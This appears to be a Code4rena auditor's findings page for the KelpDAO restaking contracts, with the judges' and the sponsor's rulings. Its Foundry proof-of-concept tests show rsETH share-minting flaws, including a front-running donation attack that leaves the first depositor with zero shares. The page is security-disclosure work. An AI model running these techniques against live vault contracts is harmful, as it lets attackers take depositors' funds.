Platform: Code4rena
Start Date: 10/11/2023
Pot Size: $28,000 USDC
Total HM: 5
Participants: 185
Period: 5 days
Judge: 0xDjango
Id: 305
League: ETH
Rank: 32/185
Findings: 4
Award: $142.27
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: T1MOH
Also found by: 0x1337, 0xNaN, 0xepley, 0xluckhu, 0xmystery, 7siech, Aamir, AlexCzm, Aymen0909, DanielArmstrong, GREY-HAWK-REACH, HChang26, Jiamin, Juntao, QiuhaoLi, Ruhum, SBSecurity, Varun_05, Weed0607, adam-idarrha, adriro, ast3ros, ayden, circlelooper, crack-the-kelp, crunch, cryptothemex, deepplus, mahdirostami, max10afternoon, osmanozdemir1, rouhsamad, rvierdiiev, trachev, xAriextz, zhaojie
36.0335 USDC - $36.03
https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L136-L141
LRTDepositPool acts like a vault contract which mints rsETH tokens as shares to depositors. Each rsETH tokens represents the ownership of funds of the depositors in LRTDepositPool contract. So, it is very important that LRTDepositPool allots right amount of rsETH shares corresponding to deposits of user. In current implementation, mechanism of calculating the issuance of rsETH tokens to mint is wrong. The current implementation is also considering the amount the user will be depositing as current balance while calculating rsETH amounts to mint. This will lead to consequent depositors after first depositor gettning less number of shares than they should originally get.
Following is foundry POC
contract LRTDepositPoolTest is BaseTest, RSETHTest { LRTDepositPool public lrtDepositPool; LRTOracle public lrtOracle; NodeDelegator public nodeDelegator; ILRTConfig public ilrtConfig; MockEigenStrategyManager public mockEigenStraregyManager; MockStrategy public mockStrategy1; MockStrategy public mockStrategy2; function setUp() public virtual override(RSETHTest, BaseTest) { super.setUp(); // deploy LRTDepositPool ProxyAdmin proxyAdmin = new ProxyAdmin(); LRTDepositPool contractImpl = new LRTDepositPool(); TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy( address(contractImpl), address(proxyAdmin), "" ); lrtDepositPool = LRTDepositPool(address(contractProxy)); //deploy rsETH proxyAdmin = new ProxyAdmin(); RSETH tokenImpl = new RSETH(); TransparentUpgradeableProxy tokenProxy = new TransparentUpgradeableProxy( address(tokenImpl), address(proxyAdmin), "" ); rseth = RSETH(address(tokenProxy)); //deploy lrtConfig proxyAdmin = new ProxyAdmin(); LRTConfig lrtConfigImpl = new LRTConfig(); TransparentUpgradeableProxy lrtConfigProxy = new TransparentUpgradeableProxy( address(lrtConfigImpl), address(proxyAdmin), "" ); lrtConfig = LRTConfig(address(lrtConfigProxy)); // initialize RSETH. LRTCOnfig is already initialized in RSETHTest // rseth.initialize(address(admin), address(lrtConfig)); // add rsETH to LRT config // lrtConfig.setRSETH(address(rseth)); // add oracle to LRT config // deploy LRTOracle ProxyAdmin proxyAdmin1 = new ProxyAdmin(); lrtOracle = new LRTOracle(); TransparentUpgradeableProxy contractProxy1 = new TransparentUpgradeableProxy( address(lrtOracle), address(proxyAdmin1), "" ); lrtOracle = LRTOracle(address(contractProxy1)); // deploy NodeDelegator proxyAdmin1 = new ProxyAdmin(); nodeDelegator = new NodeDelegator(); contractProxy1 = new TransparentUpgradeableProxy( address(nodeDelegator), address(proxyAdmin1), "" ); nodeDelegator = NodeDelegator(address(contractProxy1)); lrtConfig.initialize( admin, address(stETH), address(rETH), address(cbETH), address(rseth) ); rseth.initialize(admin, address(lrtConfig)); lrtOracle.initialize(address(lrtConfig)); nodeDelegator.initialize(address(lrtConfig)); lrtDepositPool.initialize(address(lrtConfig)); mockEigenStraregyManager = new MockEigenStrategyManager(); mockStrategy1 = new MockStrategy(address(stETH), 0); mockStrategy2 = new MockStrategy(address(stETH), 0); vm.startPrank(admin); lrtConfig.setContract( keccak256("LRT_DEPOSIT_POOL"), address(lrtDepositPool) ); lrtConfig.setContract( keccak256("EIGEN_STRATEGY_MANAGER"), address(mockEigenStraregyManager) ); lrtConfig.grantRole(keccak256("MANAGER"), manager); lrtConfig.setRSETH(address(rseth)); vm.stopPrank(); vm.startPrank(manager); lrtOracle.updatePriceOracleFor( address(stETH), address(new LRTOracleMock()) ); lrtOracle.updatePriceOracleFor( address(rETH), address(new LRTOracleMock()) ); lrtOracle.updatePriceOracleFor( address(cbETH), address(new LRTOracleMock()) ); // lrtConfig.addNewSupportedAsset(address(randomToken), 100_000 ether); // lrtOracle.updatePriceOracleFor( // address(randomToken), // address(new LRTOracleMock()) // ); vm.stopPrank(); vm.startPrank(admin); lrtConfig.updateAssetStrategy(address(stETH), address(mockStrategy1)); lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracle)); // add minter role for rseth to lrtDepositPool rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool)); address[] memory nodeDelegatorContracts = new address[](1); nodeDelegatorContracts[0] = address(nodeDelegator); lrtDepositPool.addNodeDelegatorContractToQueue(nodeDelegatorContracts); vm.stopPrank(); } function test_wrong_shares() public { vm.startPrank(admin); lrtConfig.grantRole(LRTConstants.MANAGER, manager); vm.stopPrank(); vm.startPrank(manager); lrtConfig.updateAssetDepositLimit(address(stETH), 100 ether); vm.stopPrank(); vm.startPrank(alice); stETH.approve(address(lrtDepositPool), 5 ether); lrtDepositPool.depositAsset(address(stETH), 5 ether); //5000000000000000000 rsETH amount minted vm.stopPrank(); vm.startPrank(bob); stETH.approve(address(lrtDepositPool), 5 ether); lrtDepositPool.depositAsset(address(stETH), 5 ether); //2500000000000000000 rsETH amount minted. The depositor should get same shares as the first depositor since they are depositing same amount. vm.stopPrank(); } } ## Tools Used Manual review + foundry POC ## Recommended Mitigation Steps Consider pulling funds after rsETH tokens are minted to the user or after the calculation of shares to mint is done. It is always better to follow checks-effects-interactions pattern where external call is always done after internal accounting. ## Assessed type ERC4626
#0 - c4-pre-sort
2023-11-16T00:28:27Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-11-16T00:28:35Z
raymondfam marked the issue as duplicate of #62
#2 - c4-judge
2023-11-29T21:20:19Z
fatherGoose1 marked the issue as satisfactory
#3 - c4-judge
2023-12-01T19:00:05Z
fatherGoose1 changed the severity to 2 (Med Risk)
#4 - c4-judge
2023-12-04T15:31:41Z
fatherGoose1 changed the severity to 3 (High Risk)
🌟 Selected for report: Krace
Also found by: 0xDING99YA, 0xrugpull_detector, Aamir, AlexCzm, Aymen0909, Banditx0x, Bauer, CatsSecurity, GREY-HAWK-REACH, Madalad, Phantasmagoria, QiuhaoLi, Ruhum, SBSecurity, SandNallani, SpicyMeatball, T1MOH, TheSchnilch, adam-idarrha, adriro, almurhasan, ast3ros, ayden, bronze_pickaxe, btk, chaduke, ck, crack-the-kelp, critical-or-high, deth, gumgumzum, jasonxiale, joaovwfreire, ke1caM, m_Rassska, mahdirostami, mahyar, max10afternoon, osmanozdemir1, peanuts, pep7siup, peter, ptsanev, qpzm, rouhsamad, rvierdiiev, spark, twcctop, ubl4nk, wisdomn_, zach, zhaojie
4.6614 USDC - $4.66
https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L119-L144 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTOracle.sol#L52
Initial depositors(when vault is empty) can get griefed due to frontrunning attack leading them to get zero shares while attacker getting their deposits too. This is common attack vectors in vault contract.
Let's assume alice wants to deposit 10 ether when vault is empty.
Attacker can grief her by following steps:
So, attacker got alice's deposits.
function test_grief_initial_depositor() public { vm.startPrank(admin); lrtConfig.grantRole(LRTConstants.MANAGER, manager); vm.stopPrank(); vm.startPrank(manager); lrtConfig.updateAssetDepositLimit(address(stETH), 100 ether); vm.stopPrank(); vm.startPrank(attacker); stETH.approve(address(lrtDepositPool), 1 wei); lrtDepositPool.depositAsset(address(stETH), 1 wei); stETH.approve(address(lrtDepositPool), 10 ether); stETH.transfer(address(lrtDepositPool), 10 ether); vm.stopPrank(); vm.startPrank(alice); stETH.approve(address(lrtDepositPool), 10 ether); lrtDepositPool.depositAsset(address(stETH), 10 ether); //0 shares minted to alice vm.stopPrank(); }
Foundry POC
Revert the transaction when 0 shares are to be minted.
MEV
#0 - c4-pre-sort
2023-11-16T01:00:23Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-11-16T01:00:42Z
raymondfam marked the issue as duplicate of #42
#2 - c4-judge
2023-12-01T16:59:13Z
fatherGoose1 marked the issue as satisfactory
🌟 Selected for report: crack-the-kelp
Also found by: 0xDING99YA, 0xffchain, Aymen0909, Bauchibred, DanielArmstrong, Pechenite, Stormy, T1MOH, ZanyBonzy, ast3ros, bLnk, chaduke, crack-the-kelp, deepkin, deth, jasonxiale, jayfromthe13th, lsaudit, nmirchev8, osmanozdemir1, roleengineer, tallo, zhaojie
98.8211 USDC - $98.82
https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTOracle.sol#L70 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L49 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L84 https://github.com/code-423n4/2023-11-kelp/blob/main/src/NodeDelegator.sol#L122-L123
If there is update in strategy, getTotalAssetDeposits(asset)
will reduce for asset. Because it checks for the assets deposited in NodeDelegator. NodeDelegator.getAssetBalance() will check for asset balance for the strategy of the user. If strategy is updated, then the balance of old strategy won't be taken into account which will reduce the totalDeposits. This will reduce the rsETH share price and cause more rsETH shares to be minted for the depositors. Thus, depositors can immediately deposit and their shares are worth more than their deposit.
contract LRTDepositPoolTest is BaseTest, RSETHTest { LRTDepositPool public lrtDepositPool; LRTOracle public lrtOracle; NodeDelegator public nodeDelegator; ILRTConfig public ilrtConfig; MockEigenStrategyManager public mockEigenStraregyManager; MockStrategy public mockStrategy1; MockStrategy public mockStrategy2; function setUp() public virtual override(RSETHTest, BaseTest) { super.setUp(); // deploy LRTDepositPool ProxyAdmin proxyAdmin = new ProxyAdmin(); LRTDepositPool contractImpl = new LRTDepositPool(); TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy( address(contractImpl), address(proxyAdmin), "" ); lrtDepositPool = LRTDepositPool(address(contractProxy)); //deploy rsETH proxyAdmin = new ProxyAdmin(); RSETH tokenImpl = new RSETH(); TransparentUpgradeableProxy tokenProxy = new TransparentUpgradeableProxy( address(tokenImpl), address(proxyAdmin), "" ); rseth = RSETH(address(tokenProxy)); //deploy lrtConfig proxyAdmin = new ProxyAdmin(); LRTConfig lrtConfigImpl = new LRTConfig(); TransparentUpgradeableProxy lrtConfigProxy = new TransparentUpgradeableProxy( address(lrtConfigImpl), address(proxyAdmin), "" ); lrtConfig = LRTConfig(address(lrtConfigProxy)); // initialize RSETH. LRTCOnfig is already initialized in RSETHTest // rseth.initialize(address(admin), address(lrtConfig)); // add rsETH to LRT config // lrtConfig.setRSETH(address(rseth)); // add oracle to LRT config // deploy LRTOracle ProxyAdmin proxyAdmin1 = new ProxyAdmin(); lrtOracle = new LRTOracle(); TransparentUpgradeableProxy contractProxy1 = new TransparentUpgradeableProxy( address(lrtOracle), address(proxyAdmin1), "" ); lrtOracle = LRTOracle(address(contractProxy1)); // deploy NodeDelegator proxyAdmin1 = new ProxyAdmin(); nodeDelegator = new NodeDelegator(); contractProxy1 = new TransparentUpgradeableProxy( address(nodeDelegator), address(proxyAdmin1), "" ); nodeDelegator = NodeDelegator(address(contractProxy1)); lrtConfig.initialize( admin, address(stETH), address(rETH), address(cbETH), address(rseth) ); rseth.initialize(admin, address(lrtConfig)); lrtOracle.initialize(address(lrtConfig)); nodeDelegator.initialize(address(lrtConfig)); lrtDepositPool.initialize(address(lrtConfig)); mockEigenStraregyManager = new MockEigenStrategyManager(); mockStrategy1 = new MockStrategy(address(stETH), 0); mockStrategy2 = new MockStrategy(address(stETH), 0); vm.startPrank(admin); lrtConfig.setContract( keccak256("LRT_DEPOSIT_POOL"), address(lrtDepositPool) ); lrtConfig.setContract( keccak256("EIGEN_STRATEGY_MANAGER"), address(mockEigenStraregyManager) ); lrtConfig.grantRole(keccak256("MANAGER"), manager); lrtConfig.setRSETH(address(rseth)); vm.stopPrank(); vm.startPrank(manager); lrtOracle.updatePriceOracleFor( address(stETH), address(new LRTOracleMock()) ); lrtOracle.updatePriceOracleFor( address(rETH), address(new LRTOracleMock()) ); lrtOracle.updatePriceOracleFor( address(cbETH), address(new LRTOracleMock()) ); // lrtConfig.addNewSupportedAsset(address(randomToken), 100_000 ether); // lrtOracle.updatePriceOracleFor( // address(randomToken), // address(new LRTOracleMock()) // ); vm.stopPrank(); vm.startPrank(admin); lrtConfig.updateAssetStrategy(address(stETH), address(mockStrategy1)); lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracle)); // add minter role for rseth to lrtDepositPool rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool)); address[] memory nodeDelegatorContracts = new address[](1); nodeDelegatorContracts[0] = address(nodeDelegator); lrtDepositPool.addNodeDelegatorContractToQueue(nodeDelegatorContracts); vm.stopPrank(); } function test_update_strategy_cause_wrong_minting_of_shares() public { //NOTE: comment line 207-211 in setup for this vm.startPrank(admin); lrtConfig.grantRole(LRTConstants.MANAGER, manager); vm.stopPrank(); vm.startPrank(alice); stETH.approve(address(lrtDepositPool), 10 ether); lrtDepositPool.depositAsset(address(stETH), 10 ether); //NOTE: 10000000000000000000 rsETH amount minted vm.stopPrank(); vm.startPrank(manager); lrtDepositPool.transferAssetToNodeDelegator( 0, address(stETH), 10 ether ); vm.stopPrank(); vm.startPrank(admin); lrtConfig.updateAssetStrategy(address(stETH), address(mockStrategy2)); lrtConfig.updateAssetStrategy(address(rETH), address(mockStrategy2)); lrtConfig.updateAssetStrategy(address(cbETH), address(mockStrategy2)); vm.stopPrank(); vm.startPrank(alice); stETH.approve(address(lrtDepositPool), 10 ether); lrtDepositPool.depositAsset(address(stETH), 10 ether); //NOTE: 2500000000000000000 rsETH amount minted even after fixing deposit bug vm.stopPrank(); } }
Foundry
While updating the strategy, ensure that balance deposited in previous strategy for same asset is accounted while minting the shares.
ERC4626
#0 - c4-pre-sort
2023-11-16T00:53:05Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-11-16T00:53:10Z
raymondfam marked the issue as primary issue
#2 - c4-pre-sort
2023-11-17T06:54:43Z
raymondfam marked the issue as high quality report
#3 - c4-sponsor
2023-11-24T08:49:56Z
gus-staderlabs (sponsor) disputed
#4 - gus-stdr
2023-11-24T08:55:14Z
The Eigenlayer has a 1-1 mapping for asset and its strategy. We don't believe this an issue with KelpDAO or its code but with Eigenlayer if it upgrades its protocol to have multiple strategies for an asset. Then if this occurs, KelpDAO will also have to upgrade its contracts to ensure the compatibility to Eigenlayer. Also, if Eigenlayer changes strategies, they are responsible to migrate the internal accounting to the new address.
#5 - manoj9april
2023-11-30T06:13:32Z
Currently eigenlayer's implementation allows them to have multiple startegies for any asset. -> But we can continue to deposit into one strategy for a asset and it won't be a problem for us. That is assuming 1:1 mapping won't harm us.
Above assumptions will only create problem in case, eigen layer wants to spread the current funds into multiple strategies for any asset in future upgrades. And in this case, they will provide proper heads up ahead of time and we can upgrade along with them accordingly.
In case they change their strategy for any asset, we can point to new strategy address and it should work fine. And in this case eigen layer should should take care of all migration of funds from old to new strategy.
But as currently nothing has been decided at eigen layer end. I believe we are good with our current assumption of 1:1. It would be a overkill to assume anything else as of now.
Please check the attached conversation with eigen layer team. Discord: https://discord.com/channels/1089434273720832071/1096331191243788379
#6 - fatherGoose1
2023-12-01T17:24:44Z
Kelp has provided adequate reasoning behind the current design. I agree that it is unlikely that a breaking change from the Eigenlayer protocol would not be properly communicated ahead of time. Designing around this potentiality would impose added risk in the current design.
#7 - c4-judge
2023-12-01T17:25:01Z
fatherGoose1 marked the issue as unsatisfactory: Invalid
#8 - radeveth
2023-12-02T22:45:00Z
Hey, @fatherGoose1.
I disagree with the reasons provided above.
We don't believe this an issue with KelpDAO or its code but with Eigenlayer if it upgrades its protocol to have multiple strategies for an asset.
The problem lies specifically in how Kelp DAO upgrades the strategy for assets. Nothing related to the functionality of EigenLayer Strategies.
Let's view at the code of startegy upgradeing
function updateAssetStrategy( address asset, address strategy ) external onlyRole(DEFAULT_ADMIN_ROLE) onlySupportedAsset(asset) { UtilLib.checkNonZeroAddress(strategy); if (assetStrategy[asset] == strategy) { revert ValueAlreadyInUse(); } assetStrategy[asset] = strategy; }
As we can see, when an EigenLayer Strategy for an asset is changed, there is currently no mechanism in place to migrate user deposits from the old strategy to the new one. It is precisely in this scenario that the vulnerability arises.
If a strategy update occurs, the function getTotalAssetDeposits(asset)
will show a reduced value for that asset. This reduction happens because the function references assets deposited in NodeDelegator. Specifically, NodeDelegator.sol#getAssetBalance()
assesses the asset balance based on the user's current strategy. When a strategy update takes place, the balance associated with the previous strategy is no longer considered, leading to a decrease in totalDeposits
. As a result, the share price of rsETH
decreases, prompting the system to mint more rsETH
shares for depositors. Consequently, depositors can make immediate deposits, gaining shares that are more valuable than the actual amount they deposited.
This vulnerability describe significant flaws in the KelpDAO protocol flow. Nothing related to the functionality of EigenLayer Strategies.
But as currently nothing has been decided at eigen layer end. I believe we are good with our current assumption of 1:1. It would be a overkill to assume anything else as of now.
The recommendations in this report do not make any assumptions about the implementation of 1:1 mapping. Instead, they specifically suggest updating the updateAssetStrategy()
function. in a way thet update would enable the transfer of user deposits from the old strategy to the new strategy once the new strategy is set. (as in my issue #644 writes)
I believe the issue has been misjudged and should be mitigated to High Severity Issue.
Have a good one.
#9 - manoj9april
2023-12-03T08:12:16Z
@radeveth KelpDao will only update the strategy address when eigenLayer updates strategy for any asset (which eigenLayer currently has no plans as such).
Even if above scenario takes place. EigenLayer should provide proper communications ahead of time. And we can go through follow below steps:
if migration of contract state is not possible at eigenLayer and they(eigenlayer) decomission their old strategy, only in this scenario KelpDao will have to withdraw its funds from old strategy and redelgate it to new strategy. And these steps will be done in complete visibility and transparency with proper timelocks. But sees no harm or loss to funds or miscalculation.
#10 - fatherGoose1
2023-12-04T16:41:40Z
This will be upgraded to MEDIUM.
The warden accurately explains how Kelp's internal accounting will be broken if they decide to use the updateAssetStrategy()
function. If Kelp changes the strategy address, rsETH share prices will decrease in a way that should not occur.
While Kelp describes the list of actions that they would take in the case they would need to change the strategy address, the implementation does not protect against the possibility of the broken accounting.
#11 - c4-judge
2023-12-04T16:41:54Z
fatherGoose1 changed the severity to 2 (Med Risk)
#12 - radeveth
2023-12-08T10:40:03Z
Hey, @fatherGoose1.
This has been marked as medium, but it still has the unsatisfactory label.
Have a good one
#13 - c4-judge
2023-12-08T17:20:51Z
fatherGoose1 marked the issue as satisfactory
#14 - c4-judge
2023-12-08T18:54:45Z
fatherGoose1 marked the issue as selected for report
🌟 Selected for report: crack-the-kelp
Also found by: 0xDING99YA, 0xffchain, Aymen0909, Bauchibred, DanielArmstrong, Pechenite, Stormy, T1MOH, ZanyBonzy, ast3ros, bLnk, chaduke, crack-the-kelp, deepkin, deth, jasonxiale, jayfromthe13th, lsaudit, nmirchev8, osmanozdemir1, roleengineer, tallo, zhaojie
98.8211 USDC - $98.82
https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L49 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L84 https://github.com/code-423n4/2023-11-kelp/blob/main/src/NodeDelegator.sol#L122-L123 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L47-L51
getTotalAssetDeposits
for an asset will reduce less value once there is an update in the strategy because asset balance of eigen layer staked for the new strategy will be 0
and the asset balance for old strategy is not accounted for in the contract. So, getTotalAssetDeposits
will be less which means the total amount of particular asset deposited in deposit pool contract can exceed the deposit limit for that asset.
POC not needed
Manual review
Consider taking the balance deposited by previous strategy into account in calculation of getTotalAssetDeposits
.
ERC4626
#0 - c4-pre-sort
2023-11-16T00:56:43Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-11-16T00:56:55Z
raymondfam marked the issue as duplicate of #197
#2 - c4-judge
2023-12-01T17:24:59Z
fatherGoose1 marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2023-12-04T16:41:52Z
fatherGoose1 changed the severity to 2 (Med Risk)
#4 - c4-judge
2023-12-08T17:21:30Z
fatherGoose1 marked the issue as not a duplicate
#5 - c4-judge
2023-12-08T17:24:06Z
fatherGoose1 marked the issue as duplicate of #197
#6 - fatherGoose1
2023-12-08T17:24:17Z
This is a valid duplicate of #197
#7 - c4-judge
2023-12-08T17:24:23Z
fatherGoose1 marked the issue as satisfactory
🌟 Selected for report: m_Rassska
Also found by: 0x1337, 0xAadi, 0xHelium, 0xLeveler, 0xblackskull, 0xbrett8571, 0xepley, 0xffchain, 0xluckhu, 0xmystery, 0xrugpull_detector, 0xvj, ABAIKUNANBAEV, Aamir, AerialRaider, Amithuddar, Bauchibred, Bauer, CatsSecurity, Cryptor, Daniel526, Draiakoo, Eigenvectors, ElCid, GREY-HAWK-REACH, Inspecktor, Juntao, King_, LinKenji, Madalad, MaslarovK, Matin, MatricksDeCoder, McToady, Noro, PENGUN, Pechenite, Phantasmagoria, RaoulSchaffranek, SBSecurity, SandNallani, Shaheen, Soul22, Stormreckson, T1MOH, Tadev, TeamSS, TheSchnilch, Topmark, Tumelo_Crypto, Udsen, Yanchuan, ZanyBonzy, _thanos1, adeolu, adriro, alexfilippov314, almurhasan, amaechieth, anarcheuz, ayden, baice, bareli, boredpukar, bronze_pickaxe, btk, cartlex_, catellatech, chaduke, cheatc0d3, circlelooper, codynhat, crack-the-kelp, critical-or-high, debo, deepkin, desaperh, dipp, eeshenggoh, evmboi32, ge6a, gesha17, glcanvas, gumgumzum, hals, hihen, hunter_w3b, jasonxiale, joaovwfreire, ke1caM, leegh, lsaudit, marchev, merlinboii, niser93, osmanozdemir1, paritomarrr, passion, pep7siup, phoenixV110, pipidu83, poneta, ro1sharkm, rouhsamad, rvierdiiev, sakshamguruji, seerether, shealtielanz, soliditytaker, spark, squeaky_cactus, stackachu, supersizer0x, tallo, taner2344, turvy_fuzz, twcctop, ubl4nk, wisdomn_, xAriextz, zach, zhaojie, zhaojohnson, ziyou-
2.7592 USDC - $2.76
Asset price is fetched from assetPriceOracle[asset]
. If it is not set, depositAsset
function will not work as following call will revert due to call to address(0)
.
IPriceFetcher(assetPriceOracle[asset]).getAssetPrice(asset);
contract LRTDepositPoolTest is BaseTest, RSETHTest { LRTDepositPool public lrtDepositPool; LRTOracle public lrtOracle; NodeDelegator public nodeDelegator; ILRTConfig public ilrtConfig; MockEigenStrategyManager public mockEigenStraregyManager; MockStrategy public mockStrategy1; MockStrategy public mockStrategy2; function setUp() public virtual override(RSETHTest, BaseTest) { super.setUp(); // deploy LRTDepositPool ProxyAdmin proxyAdmin = new ProxyAdmin(); LRTDepositPool contractImpl = new LRTDepositPool(); TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy( address(contractImpl), address(proxyAdmin), "" ); lrtDepositPool = LRTDepositPool(address(contractProxy)); //deploy rsETH proxyAdmin = new ProxyAdmin(); RSETH tokenImpl = new RSETH(); TransparentUpgradeableProxy tokenProxy = new TransparentUpgradeableProxy( address(tokenImpl), address(proxyAdmin), "" ); rseth = RSETH(address(tokenProxy)); //deploy lrtConfig proxyAdmin = new ProxyAdmin(); LRTConfig lrtConfigImpl = new LRTConfig(); TransparentUpgradeableProxy lrtConfigProxy = new TransparentUpgradeableProxy( address(lrtConfigImpl), address(proxyAdmin), "" ); lrtConfig = LRTConfig(address(lrtConfigProxy)); // initialize RSETH. LRTCOnfig is already initialized in RSETHTest // rseth.initialize(address(admin), address(lrtConfig)); // add rsETH to LRT config // lrtConfig.setRSETH(address(rseth)); // add oracle to LRT config // deploy LRTOracle ProxyAdmin proxyAdmin1 = new ProxyAdmin(); lrtOracle = new LRTOracle(); TransparentUpgradeableProxy contractProxy1 = new TransparentUpgradeableProxy( address(lrtOracle), address(proxyAdmin1), "" ); lrtOracle = LRTOracle(address(contractProxy1)); // deploy NodeDelegator proxyAdmin1 = new ProxyAdmin(); nodeDelegator = new NodeDelegator(); contractProxy1 = new TransparentUpgradeableProxy( address(nodeDelegator), address(proxyAdmin1), "" ); nodeDelegator = NodeDelegator(address(contractProxy1)); lrtConfig.initialize( admin, address(stETH), address(rETH), address(cbETH), address(rseth) ); rseth.initialize(admin, address(lrtConfig)); lrtOracle.initialize(address(lrtConfig)); nodeDelegator.initialize(address(lrtConfig)); lrtDepositPool.initialize(address(lrtConfig)); mockEigenStraregyManager = new MockEigenStrategyManager(); mockStrategy1 = new MockStrategy(address(stETH), 0); mockStrategy2 = new MockStrategy(address(stETH), 0); vm.startPrank(admin); lrtConfig.setContract( keccak256("LRT_DEPOSIT_POOL"), address(lrtDepositPool) ); lrtConfig.setContract( keccak256("EIGEN_STRATEGY_MANAGER"), address(mockEigenStraregyManager) ); lrtConfig.grantRole(keccak256("MANAGER"), manager); lrtConfig.setRSETH(address(rseth)); vm.stopPrank(); vm.startPrank(manager); lrtOracle.updatePriceOracleFor( address(stETH), address(new LRTOracleMock()) ); lrtOracle.updatePriceOracleFor( address(rETH), address(new LRTOracleMock()) ); lrtOracle.updatePriceOracleFor( address(cbETH), address(new LRTOracleMock()) ); // lrtConfig.addNewSupportedAsset(address(randomToken), 100_000 ether); // lrtOracle.updatePriceOracleFor( // address(randomToken), // address(new LRTOracleMock()) // ); vm.stopPrank(); vm.startPrank(admin); lrtConfig.updateAssetStrategy(address(stETH), address(mockStrategy1)); lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracle)); // add minter role for rseth to lrtDepositPool rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool)); address[] memory nodeDelegatorContracts = new address[](1); nodeDelegatorContracts[0] = address(nodeDelegator); lrtDepositPool.addNodeDelegatorContractToQueue(nodeDelegatorContracts); vm.stopPrank(); } function test_oracle_not_set() public { vm.startPrank(admin); lrtConfig.grantRole(LRTConstants.MANAGER, manager); vm.stopPrank(); vm.startPrank(manager); lrtConfig.updateAssetDepositLimit(address(stETH), 100 ether); vm.stopPrank(); vm.startPrank(alice); stETH.approve(address(lrtDepositPool), 5 ether); lrtDepositPool.depositAsset(address(stETH), 5 ether); // deposit will fail because stETH oracle not set in oracle. lrtOracle.getAssetPrice(asset) will revert and no shares can be minted reverting the transaction. vm.stopPrank(); } }
Foundry POC
Consider adding a check to ensure that call reverts with proper error message.
override
is unnecessaryAs mentioned by the bot report: Starting with Solidity version 0.8.8, using the override keyword when the function solely overrides an interface function, and the function doesn't exist in multiple base contracts, is unnecessary.
The report mentions that exists 13 instances of this issue but it missed the one at:
File: src/LRTOracle.sol 20: mapping(address asset => address priceOracle) public override assetPriceOracle;
[20]
The interface INodeDelegator
is missing the declaration of the transferBackToLRTDepositPool
function, implemented in NodeDelegator
. Consider declaring all functions in the interface as it improves readability.
In the initialize
function, the internal functions _setToken
and _addNewSupportedAsset
ensure that the asset is not set to the zero address. To save gas during initialization, consider removing these lines:
File: src/LRTConfig.sol 52: UtilLib.checkNonZeroAddress(stETH); 53: UtilLib.checkNonZeroAddress(rETH); 54: UtilLib.checkNonZeroAddress(cbETH);;
nodeDelegatorQueue
arrayThe admin might accidentally include the same address more than once in the input array. Since there's no check for duplicates, the function would add the same address multiple times. Consider including a check that prevents the same address from being added to the nodeDelegatorQueue more than once.
File: src/LRTDepositPool.sol 170: nodeDelegatorQueue.push(nodeDelegatorContracts[i]);
[170]
Even though the pause
and unpause
functions are implemented in the LRTOracle
contract, there is no functionality that checks if the contract is paused or not. Consider using the functionality that inheriting from the PausableUpgradeable
contract offers.
File: src/LRTOracle.sol 19: contract LRTOracle is ILRTOracle, LRTConfigRoleChecker, PausableUpgradeable {
[19]
#0 - c4-pre-sort
2023-11-18T00:50:31Z
raymondfam marked the issue as sufficient quality report
#1 - c4-judge
2023-12-01T18:50:11Z
fatherGoose1 marked the issue as grade-b